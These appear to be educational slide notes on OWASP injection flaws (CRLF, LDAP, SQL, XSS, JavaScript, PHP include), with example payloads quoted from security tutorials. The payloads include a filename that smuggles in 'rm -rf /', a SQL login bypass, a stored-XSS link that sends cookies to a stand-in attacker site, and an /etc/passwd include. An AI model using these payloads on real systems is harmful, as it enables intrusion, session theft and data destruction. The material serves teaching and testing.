Injection

A1 Vulnerability (OWASP 2013)

What?

➔ typically occurs when input not validated.

➔ some form of input + additional malicious data: additional input or command.

➔ input through:

- Input forms
- Address bar
- Proxy server: Host, Referer, User-Agent

Checking:

Source code

Manual pentesting

Automated tests/scanners

Add to vulnerability:

Multiple-page forms

Multiple developers

Types

- CRLF Injection
- LDAP Injection
- SQL Injection
- XSS Injection
- Javascript Injection
- php Injection

CRLF Injection

- ➔ Carriage Return and Line Feed represent the End Of Line (EOL) marker for many Internet protocols (MIME, NNTP, HTTP)
- ➔ split headers based on where the CRLF is found

1) http://www.yoursite.com/somepage.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3EHacker Content%3C/html%3E

-> <html>Hacker Content</html>

http://www.acunetix.com/websitesecurity/crlf-injection/

CRLF Injection II

2) adding fake entries into log files:

Hello, World<CR><LF>DATABASE ERROR: TABLE CORRUPTION

-> distract the admin looking for a mistake while attacking the system somewhere else

3) application that accepts a file name as user input and executes a relatively harmless command on that file such as ls –a

fname<CR><LF>/bin/rm -rf /

-> wipe out entire file system if application running w/ root privileges on a linux/unix system

http://www.acunetix.com/websitesecurity/crlf-injection/

LDAP Injection

exploits web based applications that construct LDAP statements based on user input

1) user search form, underlying query:

```
String ldapSearchQuery = "(cn=" + $userName + ")";
System.out.println(ldapSearchQuery);
```

“*” -> system may return all the usernames on the LDAP base

“jonys) (| (password = *))” -> jonys’ password (cn = jonys) (| (password = *))

SQL Injection

software application that fronts a database

Login page: enter

' OR "='

Into login and password fields, resulting query:

SELECT name from users WHERE name=" OR "=" AND password=" OR "="

-> by-pass authentication

Verbose error messages

Blind SQL injection: different result when an always true or an always false clause entered

XSS Injection

➔ websites that use dynamic content

Reflected (non-persistent) XSS vulnerability

➔ requires a user to visit the specially crafted link by the attacker. When the user visit the link, the crafted code will get executed by the user’s browser.

Stored (persistent) XSS vulnerability

➔ the code injected by the attacker will be stored in a secondary storage device (mostly on a database).

Reflected XSS-attack

Attacker crafts an URL and sends it to the victim:

index.php?name=guest<script>alert('attacked')</script>

-> annoying pop-up (example, but could be worse...)

(encode the ASCII characters to hex)

http://www.thegeekstuff.com/2012/02/xss-attack-examples/

Stored XSS-attack

Normal and admin-users, admin sees a list of all users

Attacker logs in as normal user, enters display name:

```
<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>
```

When admin clicks on My Name in user list, cookie w/ session list sent to attacker site

http://www.thegeekstuff.com/2012/02/xss-attack-examples/

Testing for XSS-i vulnerability

Modifying a HTTP GET request:

http://www.yoursite.com/index.html?name=george

Into this, for example:

http://www.yoursite.com/index.html?name=<script>alert('You just found a XSS vulnerability')</script>

Is there an alert message box stating "You just found a XSS vulnerability"?

http://www.testingsecurity.com/how-to-test/injection-vulnerabilities/XSS-Injection

Javascript Injection

Cookie modification:

In the URL bar:

javascript:alert(document.cookie); -> cookie information

javascript:alert('Hello, World'); -> for a pop-up

To modify cookie information:

javascript:void(document.cookie="authorization=true");

-> to pass authorisation

http://www.testingsecurity.com/how-to-test/injection-vulnerabilities/Javascript-Injection

php Injection

http://v-nessa.net/index.php?page=mypage.php

Possible to include the contents of any page into index.php

http://v-nessa.net/index.php?page=http://google.com

-> to test

http://v-nessa.net/index.php?page=/etc/passwd

-> to grab master password file (unlikely, though!)

http://www.v-nessa.net/2006/12/30/php-injections-for-dummies